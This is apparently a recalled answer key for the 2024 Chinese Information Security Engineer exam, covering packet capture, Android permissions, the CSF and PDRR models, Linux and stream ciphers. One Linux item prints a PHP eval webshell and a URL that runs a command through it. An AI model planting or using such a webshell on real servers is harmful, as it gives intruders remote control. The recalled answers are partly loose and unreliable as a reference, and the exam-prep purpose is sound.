2024InformationSecurityEngineer

2024年信息安全工程师、2024InformationSecurityEngineer

2024年下半年-信息安全工程师

例题回忆

软考-考试时间 : 2024年11月08日

一、防火墙抓包（14分）

1. 分组长度___（2分） 答：63
2. 是真机还是虚拟机___（2分） 答：虚拟机
3. 控制主机的ip及端口___（2分） 答：192.168.1.218 14444
4. Wireshark对ip、端口的过滤规则___（2分） 答：ip.addr == 192.168.2.105 and tcp.dstport == 14444
5. 控制主机使用的命令（2分） 答：ipconfig
6. Windows 查看防火墙的快捷键___（2分） 答：firewall.cpl
7. 哪个选项___（2分）答：自定义

二、安卓题（16分）

1. 存储签名的目录/文件___（2分） 答：META-INF

2. 存储权限的目录/文件___（2分） 答：AndroidManifest.xml

3. 5题（10分） （1）哪个设置支持备份； （2）可以读取历史位置信息，有无安全隐患； （3）配置文件中，四大组件用了那几个； （4）哪个组件的信息泄露风险最高； （5）是否存在信息滥用？详细说明；

   答： （1）backup...... 不支持备份 （2）存在隐患，未知信息有泄露的风险 （3）Activity、BroadcastRecevier （4）Contentprovider （5）存在信息滥用，位置权限、相机权限、存储权限、通讯录、多媒体、蓝牙等权限，很多为过度收集

4. 安卓中的用户是否有root权限（2分） 答：没有

三、CSF（11分）

1. 哪个安全模型___（2分） 答：PDRR
2. 未知
3. 防火墙为那个核心功能___（2分） 答：保护
4. 2题（4分） （1）CSF比PDRR多了什么核心功能___（2分）答：识别 （2）风险评估属于CSF中的哪个功能___（2分）答：识别
5. 除资产识别外，还有哪三种识别___（3分） 答：风险识别；脆弱性识别；已有安全措施识别

四、Linux（13分）

1. ll的全称___（2分）答：ls -l

2. 当前是root还是普通___（2分） 答：root

3. 文件权限的数字表达___（2分）答：rw-r--r-- 644

4. 图中的../ 代表什么意思___（2分）答：上层目录，/var/www/html

5. Linux 自带计算哈希值的命令___（2分）md5sum; sha1sum; shasum -a 256

6. shell.php <?php @eval($_GET["cmd"]); ?> （5分）

1. 该文件对应的连接口令是什么 答：cmd
2. http什么请求方法 答：GET
3. 假定域名为abc.com, 执行whoami的完整请求URL 答：abc.com/shell.php?cmd=system("whoami")

五、加密（15分）

1. 除了对称和非对称，按照明文的处理方式还可以怎么加密（2分） 答：分组加密和序列加密
2. a 的8bit （2分） 答：97 ---》 01100001
3. a与abc异或加密的结果（6分） 答：032 或 00000000 00000011 00000010
4. 给出mi, ki, ci, 如何得到明文的式子（2分） 答：mi = ki 异或（XOR）^ ci
5. 两个不同的明文使用同一个流密码秘钥加密是否安全？为什么？（2分） 答：不安全，可以从一个明文推出另一个明文
6. 分组密码是否可以用流密码（1分） 答：可以